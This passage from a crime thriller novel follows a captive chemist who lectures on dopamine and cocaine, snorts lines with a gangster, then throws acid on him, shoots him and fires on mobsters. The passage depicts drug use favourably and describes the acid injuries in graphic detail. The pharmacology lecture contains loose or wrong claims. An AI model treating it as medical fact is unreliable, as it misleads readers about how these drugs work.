
“How’s it connected to cocaine?” asked Jason.

“Cocaine is a dopamine reuptake inhibitor,” she said. “You’ve heard of SSRIs, right? Selective *serotonin* reuptake inhibitors? Like Lexapro, Zoloft, Paxil, that kind of thing?”

“I’ve heard the term,” said Jason. “Antidepressants?”

“Right,” said Julie. “See, the pharmaceutical industry’s gotten pretty good at managing this one brain hormone called serotonin. Basically, increasing the amount of serotonin in certain parts of the brain makes people feel calmer and less stressed; if someone is chronically stressed or depressed, that correlates to low serotonin levels. In the 1950s, research chemists at a French company called Rhône-Poulenc were working on antihistamines, and instead they accidentally stumbled onto a class of drugs called tricyclics. Turned out that tricyclics jam up the brain’s serotonin-draining machinery. Brain cells pass electrochemical signals by squirting neurotransmitters at each other through an intracellular gap called a synapse. After each neural impulse, the presynaptic neuron sucks back up all the hormone it just squirted — if it didn’t do that, then the hormone would stay hanging around in the synaptic cleft, and the postsynaptic cell wouldn’t be able to

DOPAMINE

tell when one burst stops and the next begins. Anyway, these tricyclic chemicals happen to be shaped, on a molecular level, just barely enough like serotonin to fit into the reuptake pump — but not enough to pass all the way through it. So the presynaptic neuron sucks up a tricyclic molecule thinking it's serotonin, and the tricyclic gets stuck in the pump. So the presynaptic neuron can't suck up any more serotonin because its pumps are jammed, and the serotonin ends up just sort of staying in the synapse and triggering the postsynaptic neuron over and over like one long giant continuous activation spike. The end result is a major increase in serotonergic activity.”

“Okay, but what does that have to do with cocaine?” said Jason. “Cocaine *isn't* an SSRI, right? You said cocaine works on that other stuff you mentioned...”

“Dopamine,” said Julie. “There's a relatively new class of drugs called *DRI*s — *dopamine* reuptake inhibitors. They were created by researchers who saw what tricyclics did with serotonin and were like, ‘Hey, let's pull off the same trick with dopamine!’ Dopamine is what the brain's reward centers run on. So while modulating serotonin would simply make people feel calm, modulating *dopamine* could drastically change people's behavioral motivators. That's how you get things on the market now like Wellbutrin and Ritalin and Adderall.”

“And cocaine?” Jason tried.

“Cocaine is the granddaddy of them all,” said Julie. “Cocaine is the *original* DRI. What all these modern DRIs do artificially, the coca plant’s been doing naturally for millions of years. Cocaine screws directly with the reward pathway. Like, if you ace a test at school, the bolt of satisfaction you feel when you see that big red A+ in the corner is the stimulation of the reward pathway, telling you you’re awesome and that you’re good at this shit. If you’re playing a sport and you score a point and you feel the rush of power and the thrill of victory, that’s your reward pathway lighting up at full blast. And when the reward pathway activates, it sensitizes neural channels that correspond to whatever you’re doing at the time — it makes you more likely to make the decision to do it again. So the dopamine rush you feel when you ace a test makes you more likely to choose to study in the future, so you can feel it again; when you score a goal, it makes you willing to practice more. It’s the positive feedback system that makes the cognitive machinery of the brain do more of what works and less of what doesn’t.”

Jason nodded. “And cocaine throws this reward system into overdrive.”

“Exactly,” Julie said. “The reward pathway runs on dopamine. Cocaine prevents the neurons in the pathway from cleaning up after themselves, so there’s dopamine overflowing everywhere.”

“Which, like acing a test or scoring a goal, inclines the cocaine user to do more of whatever the heck they were doing to make that happen...” said Jason.

“...Which happens to be just snorting lines of coke,” concluded Julie.

Jason nodded soberly. “Sounds like a vicious cycle.”

Julie looked up at him. She tried to smile, but the corners of her mouth twitched downward. “They... they do say the stuff’s addictive.”

“So how do these new dopamine-based medicines heal rather than harm?” said Jason.

“There’s some emerging theories that tweaking the reward pathways can help treat a wide variety of cognitive and psychological problems,” said Julie. “Like, a lot of DRIs are used to manage Attention Deficit Hyperactivity Disorder. Nobody really knows why they work on ADHD, but one theory says that classroom hyperactivity is just the natural action of a child’s brain searching their environment for a ‘fix’. They’re also used for Social Anxiety Disorder, to help people who feel awkward or uncomfortable around other people — the idea there is that their reward pathway doesn’t get enough stimulation from personal interaction. And that’s just the tip of the iceberg.”

“So what you’re saying is, there’s a lot of potential market applications for this new class of vaguely cocaine-like medicines, just waiting to be explored,” Jason said.

“Yeah. There’s a lot of people that dopamine reuptake inhibitors can help,” said Julie.

“Like who?” Jason asked.

“Like, people who are a little bit ‘off’, in a bunch of different ways,” Julie answered. “Basically, anybody that’s obsessively goal-oriented, or neurotic, or socially awkward, or prone to drifting off into daydreams and living in La-La Land.”

Jason smiled and said, “Oh, really...?” His head slowly swiveled to look at Danny.

Danny was standing next to the cylindrical vat in the center of the room, crouching low enough to gaze closely at the cloudy water.

“Periscope down, ensign!” Danny said to nobody in particular. “Helmsman, begin descent to 500 feet!” He pushed down on a protrusion, announcing, “Aye aye, captain!” He reached an arm around to the other side of the cylindrical water tank, and made kicking motions with two fingers. “Dive team! Dive team, do you copy?” Placing his other hand partly over his mouth, he made heavy breathing noises, reporting between breaths, “Aye, captain! No sign of the treasure yet...!”

Jason wordlessly brought his palm up to his face and slowly shook his head.

Julie batted at Jason’s shoulder. “So, we had a deal...”

Jason sighed. “Yeah. Your drugs,” he said, and with a grunt he stood up from the mattress. “I’ll go talk to that Rex guy upstairs.” He looked down at the Asian girl sitting on the mattress with her arms around her knees. “Thank you, Julie. You’ve been... helpful.”

CAPTAIN DANNY WAS GUIDING HIS SUBMARINE through the treacherous Vat Sea when he and his crew suddenly encountered an enormous and terrifying sea monster. From Captain Danny's perspective, the creature looked like a horizontally stretched, distorted human face looking straight at him, almost like that of a young Asian female as seen through the lens-warping effect of a water-filled cylinder.

"Do you mind?" said the aquatic beast through its overly large mouth. "I set the environment for optimal growth conditions. It'd be nice if you didn't screw it up."

Danny stood up from his crouching perspective and looked at Julie over the top of the vat. She regained normal human proportions. "Sorry. It's been a seriously crazy day. I could really use some sleep."

"Heh, I know something white and powdery that can fix that," she said with a conspiratorial smirk. "Let's see if your guy comes through upstairs." She was still carrying the vial. Danny saw her put it in the pocket of her sweatpants.

"I don't do drugs," Danny asserted. "I hate the idea of fucking with my brain."

Julie laughed at him. "You fuck with your brain all the time anyway and you don't even know it. You eat food, right? Well, amino acids in your food get converted to neurotransmitters, and carbohydrates affect your cortisol levels. So does exercise, which also releases endorphins. And you, uh, breathe air, right? Do you know what different oxygen concentrations do to your neurochemistry? Or sunlight,

which triggers your body to make melanin and vitamin D, which have mood-altering effects. You spend time outside in the sun, right?” She looked him over. “Okay, bad example.”

“Yeah, but that’s all natural,” said Danny.

“So’s cocaine,” Julie replied. “It comes from a plant. Plants are natural.”

Danny pointed to the steel barrels of kerosene and acetone at the back of the room. “Natural? You use *that* to extract it into a powder.”

“You cook your food, don’t you?” the girl retorted.

Danny gave her a sheepish smile. “Me? I usually just microwave stuff that comes out of my freezer.”

“Real natural, homeboy,” Julie teased. “Besides, the very concept of agriculture itself — controlling your own food supply by intentionally raising plants and animals for the express purpose of eating them. *That’s* natural? Not to mention selectively breeding the fattest cows, the juiciest apples, and the hardiest grains for the last twenty thousand years. People get all up in arms about genetically modified organisms nowadays, as if we haven’t been genetically modifying our food since the Neolithic Revolution.”

“Isn’t there a difference of degrees,” Danny said. “I mean, isn’t there a line somewhere between growing your own plants on a farm, and directly manipulating the genome of a laboratory bacterium?”

“I don’t think there is,” said Julie. “Look, every single organism on Earth alters the world around it in order to increase its own survivability. It’s part of the *definition* of life. Exploiting and manipulating other organisms is fair play. The game of life has no referees. Every living thing tries to win by changing the rules. Humans just happen to be very, very good at it. Beavers make a dam and bees make a hive. Humans make bridges and cities and airplanes and pesticides. Controlling nature is our nature — it’s what we’ve evolved to be good at. Like everything else on this planet, we’re here to change the world in our own image. That’s how living things live. That’s how life works.”

“Do you mean that in a biochemical sense, or a philosophical one?” Danny asked.

Julie grinned at him. “Is there a difference?”

Above them, Danny heard the office door open. Down the interior stairs came the sound of two pairs of footsteps.

Danny watched Jason descend toward the factory floor. Rex closely followed with gun in hand, his long ragged blond hair and pocked skin looking terrible under the bright gymnasium lights overhead.

When they reached the bottom of the stairs, they shuffled through the cardboard and packing peanuts toward the table at the back of the room, near the barrels of solvents.

Julie kept her eyes fixed on the two of them. “Well?” she insisted.

Rex sat down on the folding chair. He put his gun across his lap, produced something from his pocket, and hunched over the tabletop. Danny could hear him making faint, quick tapping noises on the table’s metal surface.

Jason turned to the Asian girl. “Well, a deal’s a deal,” he said from across the room, his voice low with disapproval.

Julie’s face lit up in an ecstatic grin. Her eyes and mouth went wide, and she drew in a quick breath of unbearable anticipation. With her small body and her oversized pajamas, she looked like a child beaming at the sight of a stack of presents under the tree on a wintry white Christmas morning. But in her case, the only present — the greatest present of all — was simply the snow.

JULIE THREW HER ARMS AROUND JASON, squealing, “Thank you! Thank you! Thank you!” Jason grimly accepted the gratitude for a few moments before pushing her away.

On the metal tabletop, Rex had cleared himself some room to work, pushing some glassware aside. The clear unlabeled bottle sat on one side of the table, next to the goggles and the black rubber gloves.

Rex hunched over the table, upon which sat a crumpled square of Saran wrap a few inches on each side. In the middle of the clear plastic wrap lay a tightly packed pile of white powder. Rex had poured some of the powder out onto the table, and was using a razor blade to carefully chop it into finer granules and draw it out into lines. The razor blade made quick tap-tap-taps, punctuated by smooth slicing sounds as he dragged the drug into long, straight parallel rails.

“You got any idea how much trouble I’d be in if the boss-man found out?” the scruffy blond man grumbled as he drew the lines. “We’re in lockdown. I was supposed to flush this.”

Julie stared transfixed at the thin white lines as they materialized underneath the razorblade. Her expression bore the eagerness of Pavlov’s dogs upon hearing a bell.

“Can I do that?” she pleaded, leaning lustily toward the narcotic.

Rex shooed her away with a flick of his hand. “Back off, Mulan. First line is mine.”

By the time Rex finished his work, four long rails of coke lay drawn across the shiny gray tabletop. He withdrew a dollar bill from his pocket and rolled it into a tight tube. The pock-skinned man sat up straight, tossed his long stringy blond hair behind his head, and prepared for his hit by closing his eyes and breathing a deep, calm exhale. Then, in a smooth motion, he brought the rolled-up dollar bill to one nostril, bowed his head down toward the table, and drew the end of the dollar bill along the bottom-most line while inhaling slowly and steadily. The fine white granules disappeared from the table up into the green tube.

When the line was finished, he slowly pitched his head back with his eyes closed. He gave a slow, satisfied sigh out through his mouth. His hand gripped the table, and despite the calmness of the man's face, Danny could see the tension in the tendons of his fingers increasing. Over the course of a minute, the tension slowly climbed upward along his body, through the muscles of his arms and his neck, until a slight tremble reached his head. The man's breathing turned quick and shallow, almost sexual in its cadence. "Oh... god... god *damn* this is good stuff," he moaned softly.

Julie began trying to body-check him off of the chair. "My turn!"

Rex pushed her away forcefully. She stumbled backwards a few steps. Rex grabbed his gun from his lap and pointed it loosely at the small Asian girl.

"Mind your manners, little lady!" he ordered. "Guests first. Gentlemen?"

Danny stood petrified. Jason shook his head darkly.

Rex eyed Jason with a hint of suspicion. “Numbers? You don’t want any?”

“No thanks, Rex,” said Jason, thinking fast. “Diggitty’s on all sorts of medication, so he can’t have any. And me, I’m too old to get much out of it anymore.”

“You sure?” Rex persisted. “It’s great stuff.”

“I don’t get a high from coke,” said Jason. “I just get a bad headache.”

Rex grunted, “Well shit, I hope I never get that old.”

Julie stood by with her eyes watery. “Can I please have some now?” she begged like a cat at a deli counter.

Rex grudgingly muttered permission, and rose from the folding chair.

The man had barely gotten his rear off of the seat before she slid in and grabbed the razorblade and rolled-up dollar bill. Unlike Rex, who had savored the ritual of drawing the lines and taking the first hit, Julie instead simply dove straight into the next line on the table, snorting it up as quickly as her breath would allow. With the line gone in an instant, she dropped the dollar bill to the table and held her hands up to cover her mouth and nose. She held her breath for several seconds, looking like she was about to sneeze. Tears built up in her eyes. Her accelerating pulse was visible in her ears.

After almost a minute of sitting motionless with her hands on her face, she finally made a sound. A laugh. A euphoric, delighted, childlike laugh.

“I can’t feel my face!” she giggled, and traced her fingers sensuously across her mouth and cheeks.

Jason watched her indulge. “Listen, Julie,” he said in a businesslike tone. “You still have the vial, right?”

Julie merely sat in the chair, looking up blissfully.

“Julie?” Jason tried again.

She continued ignoring him.

“Julie, the vial...” Jason persisted.

Finally, the girl abruptly turned. “Dude I can hear you just fine, shut the fuck up,” she snapped, her voice rapid and energetic. “Can’t a girl enjoy a freakin’ high? It’s my first hit in like a week, so just shut the fuck up and let me roll with it, okay? Christ. Buzzkill. Who the fuck are you, anyway? Yes I have the vial, it’s in my pocket, no you can’t have it back.”

“Part of the deal I struck with Rex here,” said Jason, “is that you’d start the incubation process.”

“Yo Rex,” Julie called.

Rex snarled, “What?”

“You’re going to shoot me the minute I finish a batch, aren’t you?”

Rex rolled his wide-pupilled eyes. “I keep telling you, bitch. If you behave, nobody’s going to shoot you. Fuck, I’ll shoot you if you *don’t* make a batch sooner or later.”

“Alright alright, fine fine fine,” said the girl. “Let me do the rest of these lines and I’ll go pop it in the tank.” She picked up the dollar bill and her head again swooped down toward the table. Another white rail disappeared.

This time, instead of holding her face, Danny watched her eyes dart back and forth, looking at the various objects on the tabletop. She fidgeted with her hands over the table, and occasionally looked over her shoulder towards where Rex was standing.

“Are you okay?” asked Danny.

“I’m fine, why?” she said quickly.

“You look, I don’t know, agitated,” he observed.

“I’m just thinking...” she replied.

“About what?” Danny asked.

She didn’t answer.

But, from outside, past the large double doors on the other side of the factory floor, there came a sound.

The sound of a car pulling up in the alley outside the factory.

Followed by the sound of car doors opening and closing.

The voice of the dreadlocked African-American guard could be heard from outside. It wasn't clear what he was saying, but he sounded surprised.

Another voice answered him. It had a Russian accent. "...Tonight is complete and total cluster of fucks!..."

Danny recognized the voice. It was the voice that he had heard on the stolen cellphone. The voice of Sergey Mukhayev.

Rex froze in place. "Oh... shit..." he mumbled.

A third voice rose from behind the large doors, also with a Russian accent, albeit lighter. Danny recognized it as the voice of the man who had threatened to kill him in the Tungsten hallway: Eugene Mukhayev. "That's the car! That's their fucking car!"

Jason gulped, and backed toward the rear wall to lean on a steel drum.

Sergey's voice outside proclaimed, "You must be shitting on me."

Rex sprang to life. He dashed back toward the table, jostling the glassware on it. The mist inside the clear unlabeled bottle swayed gently. “We’ve got to get rid of the coke! I wasn’t supposed to give you any! I’m not even supposed to have any. Fuck...”

Julie, still fidgeting, grabbed clumsily at the square of Saran wrap. While handing it to Rex, she carefully enunciated, “Whoops!”, and fumbled the open packet of powder. Most of the drug spilled onto the floor, forming a small but conspicuous pile near the chair. She swept the remaining cocaine from the table down onto the floor after it.

“Oh fuck me!” Rex said, almost panicking. He bent down next to Julie and began sweeping the powder out of sight, underneath the various bits of packing residue on the floor.

“What I was thinking about,” said Julie, speaking rapidly, “was that dopamine is active in more than just the nucleus accumbens. It’s one of the most common neurohormones in the entire human brain. You know where else it’s found?”

Jason, his voice dry with terror, said, “Julie, I don’t think we have time for...”

“The substantia nigra,” said the girl. “It’s a part of your brain that controls movement. It’s the part that deteriorates in people with Parkinson’s disease. The substantia nigra is connected directly to the reward pathway, and it’s actually

more involved in addiction than the pleasure centers. Because, see, the pleasure centers might shape your desires, but the substantia nigra affects what you actually *do* about those desires.”

“Julie, please!” Jason implored. “Just help us think of a way out of here!”

Outside, the voices argued. “Nothing? What do you mean, nothing?” shouted Sergey. The black man replied, “They scrubbed the car, boss. They even pulled off their VIN tags.”

“Now, what’s interesting about the substantia nigra,” Julie continued obliviously, “is that it functions by lateral inhibition. The substantia nigra takes all the possible different things you can do at any given moment, and chooses one based on learned reward expectation. See, your cerebral cortex — that’s basically the thinking part of your brain — comes up with dozens of different courses of action, all the time, every second you’re awake. Blink now or blink later? Left foot forward or right foot forward? Voice the word ‘hello’ or voice the word ‘goodbye’? You get the idea...”

Outside, the voices argued. The African-American guard sounded like he was begging for forgiveness.

Rex, his face pale, kept sweeping desperately at the floor. “Fuck fuck fuck! He’s gonna know, he’s gonna know...”

Danny watched the Asian girl's hands as she talked. He noticed a pattern to her movements. She wasn't fidgeting. She was rehearsing.

"...But of all those actions you're thinking of taking all the time," Julie resumed, "only one ever wins out. And it's the substantia nigra that makes the selection, of all the hypothetical bodily movements you can possibly take, which one will reach its activation threshold and ultimately send an impulse to the corresponding muscles. And the substantia nigra, like the mesolimbic pathway, runs on dopamine."

"Julie!" Jason barked. "Either help or shut up!"

From the alley, the voice of Sergey said commandingly, "You fucking stay here! Guard door like you were supposed to in a first place! Eugene and I go take care of this ourselves. We have score to settle with these assholes."

Footsteps ascended the stairs outside.

Danny, his head spinning from fear, gasped, "Julie, what's your point?"

Suddenly she stopped moving and locked eyes with Danny. "My point," she said slowly, "is that dopamine is the substance that converts thought into action."

She turned to look down at Rex on the floor hiding the mess of cocaine. She gave him an innocent smile. "And do you know what I'm thinking right now?" she asked him sweetly.

“What?” the pock-skinned, long-haired blond man growled, looking up from his crouched position next to her chair.

And she swiftly reached across the table, grabbed the clear unlabeled bottle with her bare hands, pulled out the stopper, and poured half a liter of eleven molar hydrochloric acid down onto his face.

18

NOTHING IN THE WORLD HAD ANY RIGHT to look like what Danny saw happening before him. Such abominations belonged on the other side of a movie screen, projected in two dimensions and tempered by the audience's knowledge that they were made of latex and CGI. It was a spectacle not meant to be witnessed up close, not in three dimensions, not complete with sound and smell and sensation.

The man brought his hands up to his acid-splashed face in a desperate, frantic effort to wipe the corrosive liquid away. Holes burned instantly in the sleeves of his denim jacket. Sores and welts appeared on his fingers, resembling the scabby red wounds of chickenpox. Through the gaps between his fingers, the skin of his face could be seen oozing with frothy yellowish-white puss.

His gun clattered to the concrete floor as he rose and began running blindly. He only made it a few stumbling steps before tripping and collapsing to his knees.

He didn't start screaming right away. He at first let out an annoyed yelp, more out of surprise than pain. But in a matter of seconds it crescendoed to howls, then cries, then a shrieking that quickly grew so loud and high-pitched that it scarcely seemed human. His sounds of agony filled the small factory, rising and falling randomly until they dissolved into moist, gurgling atonal harmonics.

Strands of long stringy blond hair fell from his head, momentarily curling and writhing on their own upon the floor. Within his eye sockets were two deformed cauldrons of bubbling white foam, leaking a clear gelatinous fluid. Greenish-yellow cauliflower-like globules of fat spilled out from areas that had once been cheeks and chin.

The smell was like vomit after a meal of putrescent meat.

And then there was an explosion of mechanical sound — a loud *rat-tat-tat-tat-tat*, like someone trying to shove a metal rod into the spokes of a spinning bicycle wheel. A hot shockwave of pressure raced through the air, carrying with it the acrid, metallic smell of gunpowder. Several smoky black blurs streaked through the air, toward the shrieking faceless thing that had been Rex. Their impacts knocked him back and down, his body convulsing forcefully with each hit.

Only the first handful of shots made contact with him. The rest tore through the debris on the floor, or sunk into nearby laboratory machines, or shattered glassware, or scarred the walls with ricochet marks.

Julie grunted, “Ah, shit!” after the burst of gunfire stopped. It had come from her.

She stood where Rex's gun had fallen, holding the blocky weapon awkwardly in both of her small hands. She examined the weapon quickly and intelligently, noting its protrusions and features. The girl experimentally placed her hands on different parts, unsure of how best to grip it to maintain control of its full-automatic spray.

The wretched, faceless creature gurgled for a moment and collapsed lifeless on the factory floor. Blood flowed freely from a handful of holes in its torso. The cardboard and packing peanuts on the floor around the body turned crimson.

Danny saw shadows watching the scene from above. In the doorway at the top of the interior stairs leading up to the small office stood two figures — the athletic, muscular, leather-clad form of Eugene Mukhayev, and the large, imposing middle-aged man that must have been Sergey. Eugene was in front, with his hand still on the knob of the pale blue door.

The mafia enforcer and his boss stared down at the scene in the factory with their breath drawn still, their jaws slack, their eyes wide with horror and disgust.

Julie followed Danny's gaze, her head turning quickly like a bird's, her movements twitchy and animated. She swung the blocky gun upward, pointed it at the figures in the door, and opened fire without warning or hesitation.

The two men ducked and fled back into the office room. Eugene returned fire from a small revolver, shooting haphazardly toward Julie before slamming the pale blue door shut behind him. The bang of Eugene's pistol rang out through the factory, accompanying the *rat-tat-tat* of Julie's machine gun with a slower syncopated tempo.

Julie bobbed and weaved to make Eugene's angle of fire as difficult as possible. She shot in short, sporadic bursts as she dodged, unleashing two or three bullets at a time. Flakes of brick knocked loose from the walls around the top of the stairs. Her bullets flew in a wild haphazard spread as she struggled against the recoil of the weapon, mostly hitting the outside of the overhanging office room and making small angled dimples in its metal walls. The windows shattered under fire, causing shards of glass to rain into the office and onto the factory floor below. Where the bullets happened to hit the pale blue door, they ripped long gouges of splintering light brown plywood.

Spent shell casings flew wildly from her gun, pinging upon the concrete floor. One brass cylinder hit the back of Danny's hand, still scorching hot from the exploding gunpowder it had contained only microseconds prior.

At that moment it dawned on Danny that he wasn't merely a passive observer. The bullets from the office above, he realized, were meant for him just as much as they were meant for the coke-addled Asian girl.

He looked for somewhere to hide. Jason, for his part, had already bunkered himself under the metal table.

With his HERF gun in hand, Danny dove to shield himself from the firefight. He ducked behind the largest, most solid object nearby.

Unfortunately, Danny noticed a moment afterward that this object happened to be a blue 55-gallon drum filled with kerosene.

An errant bullet from Eugene's pistol plunked into the barrel, puncturing it and making a soft sloshing noise somewhere inside.

Danny had seen enough action movies and played enough first-person shooter video games to know what happens when a barrel of flammable liquid gets shot. *So this is it*, he thought quickly, more in impressions than words. *A pretty awesome way to die, actually. And this right here is my last thought: the realization that my last thought is my last thought. How meta. I've always been such an over-thinker. How fitting.* And the kerosene barrel exploded, ripping Danny to shreds in a blast of steel and flame.

But that didn't actually happen.

The kerosene barrel did, however, begin leaking. The clear, pungent fluid slowly began to spill out. The impact was not dead center on the barrel, and it carved a short slice out of the metal skin before coming to rest. The fluid ran down and around the side of the drum, spilling onto Danny's borrowed floral-print sweatshirt.

Kerosene continued to pour onto the floor, forming an iridescent puddle on the concrete. The thin liquid spread toward a pile of packing debris. Cardboard absorbed it without incident. Styrofoam packing peanuts, however, melted on contact with the kerosene, dissolving into gloppy half-formed masses like ice cream on a hot summer sidewalk.

The short bursts of *rat-tat-tat* noises from Julie's firearm abated for a few moments. Danny risked a peek around the side of the barrel to see her bounding up the interior stairs. She made it to the top and stared at the door to the office room. The door's pale blue finish bore long wooden scars as though it had been clawed by a wild beast.

Eugene stopped shooting, either unsure of where to aim or unable to tilt his gun to the proper angle.

From the office room on the other side of the pale blue door came the slight sound of whispering.

In response, Julie suddenly yelled, "Oh, you're in trouble now!" She squeezed the trigger, unleashing a tight spray of bullets upon the door.

The bullets pounded against the plywood obstacle. On Julie's side, they punched perfectly round holes no bigger than a penny, but jagged chunks of wood the size of books burst off from the door's opposite side. The door shuddered on its hinges as it absorbed the kinetic energy of the hollow-point projectiles. It quickly disintegrated into a patchwork of splinters and sawdust.

Through the office windows, Danny saw the office's front door open. The two gangsters fled outside onto the landing of the exterior stairs, crouching low to avoid the girl's gunfire. They slammed the outer door shut behind them, doubtlessly counting on its metal bulk to protect them from the onslaught.

Julie continued firing through the flimsy, flapping remains of the pale blue plywood, until finally the weapon's bolt made an idle click and ceased moving. It left an abrupt silence in its wake.

Realizing that she was out of ammunition, Julie wasted no time. She flung open the remnants of the pulverized interior door, sprinted to the other side of the small office toward the front door on the opposite side of the room, and twisted the deadbolts shut.

Outside, the men pounded against the front door and struggled with the locks, but they were seconds too late. They tried kicking it, bashing it, even shooting it, but the metal outer door wouldn't yield.

The African-American guard's voice could be heard saying, "Don't bother, man. We made sure nobody could bust in. Your orders, remember?"

Eugene yelled, “God fucking damn it, Deshaun! You standing in alley the whole time? What the fuck is wrong with you? You don’t hear the shooting? You don’t think to come up here and help us maybe?”

“You guys told me to stay out here,” the guard retorted. “I thought Rex had you covered if anything went down. I heard screaming, I figured you were, you know, working them over. What happened in there?”

Sergey answered, “That screaming *was* Rex.” His heavy footsteps descended the staircase outside.

“Holy fuck. Guys, are you alright?” asked the guard.

“No, I’m not alright,” Eugene grumbled. “Look what that girl did to my jacket! This is Italian custom-made lambskin leather! See here? Bullet graze. Here? Torn on glass. I swear to fucking God, that bitch is not making it out of there alive! I’ll tear that little whore’s throat out! I’ll kick her teeth in with my bare hands!”

Sergey said, “You kick with your hands, Zhenka?”

Eugene sputtered, “I... with my... Shut up!”

Inside, Julie leaned with her back against the metal door, breathing heavily. A huge grin consumed her face. She let out a deep, satisfied sigh.

Jason and Danny cautiously emerged from their hiding spots.

Jason rolled out from under the metal table. He put a hand on the tabletop and grunted as he lifted his overweight middle-aged body back to standing height. “Julie, are you okay up there?” he called out.

Julie replied, “Wooooooooohooooooooo!”

Danny took a few tentative steps out from behind the barrel and surveyed the room. The rows of 55-gallon drums had served as a backstop for Eugene’s bullets. Most of them were leaking profusely from fresh bullet holes, coating the floor of the factory in a mixture of kerosene and acetone. All over the room, Styrofoam packing peanuts dissolved into thick bubbling puddles, filling the room with a soft ubiquitous hissing noise.

His sweatshirt had soaked up a great deal of kerosene by leaning against that punctured drum. It felt damp and heavy and irritating against his skin.

The mixed stench of jet fuel and nail polish remover assaulted Danny’s nose. The very air in the room burned his lungs with every inhale. It was growing progressively harder to breathe. His eyes stung sharply and began to well up with moisture.

“Julie, we can’t stay in here,” he shouted to her.

Julie struggled with some piece of furniture in the office. Rattling sounds echoed from upstairs. “Hey, you!” she called out.

“Me?” asked Danny.

“Yeah you!” She poked her head out through the broken interior door. “Do me a favor. There’s this desk up here with a couple drawers that I want to get into. It’s locked.”

“So?” asked Danny. “What do you expect me to do about it?”

“Get the key,” she answered.

“From where?”

Julie reached her arm out and pointed toward the center of the room. Danny followed her finger.

She was pointing at Rex’s body.

Danny’s stomach lurched. His heart palpitated in his throat and the skin on the back of his head crawled. His hearing grew distant and echoing. His vision began to dim — the world became oddly flat as though projected on a screen, and colors faded toward muted grayish tones before his eyes. He gulped for air, but the searing mix of harsh chemicals in the room served only to make him feel even sicker.

“Oh for God’s sake,” Julie scolded from above. “Grow some fucking balls!”

Danny growled loudly and shook himself just to stay conscious. *This isn't real*, he told himself. *This is just a video game. Yes, a video game. I'm at home right now, sitting on my nice comfy leather couch, in the middle of my 7.1 surround sound setup, in front of my 60" 1080p plasma HDTV, playing a really awesome new game on my PlayStation 3. It's very, very immersive.*

He maneuvered toward the body, feeling like he was detached and floating. Up close, he could tell by parallax that the acid-burned face model was rendered as a genuine triangle mesh with Bezier edge-smoothing rather than a cheaper and more conventional programmatic shading approach, and he was deeply impressed by the PS3's ability to handle such a high polygon count. He watched his hand before his eyes as it prodded the blood-soaked pockets of the body. Danny found a keychain with several keys, a Ford car remote, and a tiny plush Kurt Cobain doll. He added the keychain to his inventory. He then hurried to the stairs, eager to get up to the office and away from the noxious fumes that were rapidly depleting his health bar.

Up in the office, Julie and Jason were both waiting for him. Julie stood by the desk, impatiently wrestling with the locked drawer. Jason sat on the floor, looking green and pale — the irritant gases were hitting his middle-aged cardiopulmonary system hardest of all.

Danny fiddled with the keychain until he found a lone brass key that was smaller than the others, suited for a desk. He moved in to unlock the drawer and began rifling through it.

“So, anything good in there?” asked Julie.

“Well,” answered Danny, “there’s this...” He withdrew a long, thin, narrow metal box — an extra magazine for Julie’s gun. Slits in the magazine allowed Danny to see the bullet cartridges, about fifty of them, stacked neatly into two columns inside.

Julie nodded approvingly and took the ammunition. She began pulling and pressing on random parts of the gun, trying to figure out how to eject the empty magazine and replace it with the full one.

“...And this,” Danny said, slapping a large, heavy key onto the desk.

“Oh, I’ve seen them use that before,” said Julie. “When they bring new equipment in. It’s for those big loading doors downstairs.”

Danny checked on Jason, who seemed to be improving now that he was away from the spill of kerosene and acetone. The smell of the chemicals was markedly less intense in the small office. From the tiny bathroom came the whirring noise of an overhead ventilator.

Danny turned to the computer on the desk and began searching for something they might be able to use to escape. An initial click-through of the desktop folders suggested that this computer probably contained nothing but pirated movies and amateur porn.

As he continued searching the computer, he heard the conversation of the gangsters outside in the alley below.

“Guys, we can get in just fine,” said the dreadlocked guard. “I have keys to that door up there.”

Eugene replied, “And what? Waltz right in? Do we know how much iron they have?”

“No,” answered the guard guiltily.

Sergey asked accusingly, “Fuck, Deshaun, you did not search them before they go in?”

The guard said nothing.

Sergey declared, “I’m not sending anyone in there without head-to-toe armor. Is not worth losing another man.”

The guard suggested, “We could just crack the door open a little and lob a few grenades in there.”

Sergey grumbled, “That would break the vial.”

“Riot grenades, then,” said the guard. “Fill the place up with tear gas, choke ‘em out. Or flash-bangs — stun them, then jump in and blow them away before they know what the fuck’s going on.”

Eugene scoffed, “You think we have giant stash of grenades in our trunk, Deshaun? Oh sure! Welcome to Grenade Buffet! Twelve ninety-nine, all you can throw!”

Deshaun replied, “Guys, you want grenades? I can get you grenades. Just one call to my boys. Deliver in twenty minutes or less. My phone’s right here.”

Back in the office upstairs, that last line piqued Danny’s interest. He abandoned the unfruitful computer and, with HERF gun in hand, walked quietly to the exterior wall of the office, listening intently to try to triangulate exactly where the voices were coming from.

“Put your phone away!” Eugene ordered.

“It ain’t a big deal, man” the guard said reassuringly. “I know a dude owes me a favor anyway.”

Danny’s fingers flipped a switch. Small cooling fans whirled to life.

“That’s not the point!” Eugene insisted. “Put it away now!”

“I... okay...” said Deshaun. “But I don’t...”

Inside the office, there was a soft “*bonk!*”

In the alley, there was a sudden sharp cracking sound.

“Ow!” yelled Deshaun. “What the *fuck*?”

A broken cellphone clattered to the ground.

Eugene groaned, “Fucking great. Told you so!”

Danny, in the office above, sighed approvingly. The HERF gun emitted a quiet, rapidly rising high-pitched whine as its capacitor bank recharged.

Below, Sergey started coughing and rumbling.

“Seryozha! Are you alright?” asked Eugene.

Sergey cleared his throat forcefully, sounding like the whinnying of a horse. “I’m fine. Shut up.”

Deshaun barked, “The fuck happened to my phone, man?”

“The nerdy guy has some kind of electronics gun,” said Eugene. “It kills cellphones.”

Sergey added, “And cars. That asshole destroyed my Roadster.”

“That’s just because it was electric, I think,” Eugene said. “It won’t work on all cars. My Beamer here should be okay.”

“Even with all its little extras?” Sergey suggested, his voice still slightly hoarse.

“What little extras?” Eugene asked defensively.

Yes, what little extras? thought Danny.

“All the options you always brag about,” Sergey said. “When you buy that thing, you come to me saying, ‘Oh, uncle, look at fancy new toy! She is with the remote ignition, she is with the satellite radio, she is with the GPS, she is with the BMW Assist plan...’ ”

She is with the spectrum profile of a symphony orchestra, Danny thought. He checked the HERF gun’s tiny lamps. They were green again. He grinned.

Eugene mumbled, “Shit, you think it...”

There was a low “*bonk!*”, and a sharp crack from the alley below.

Eugene screamed, “Fuck, no! No, no, *no!*”

Danny heard the sound of footsteps running, the sound of a car door being flung open, and the distinct lack of sound of an engine turning.

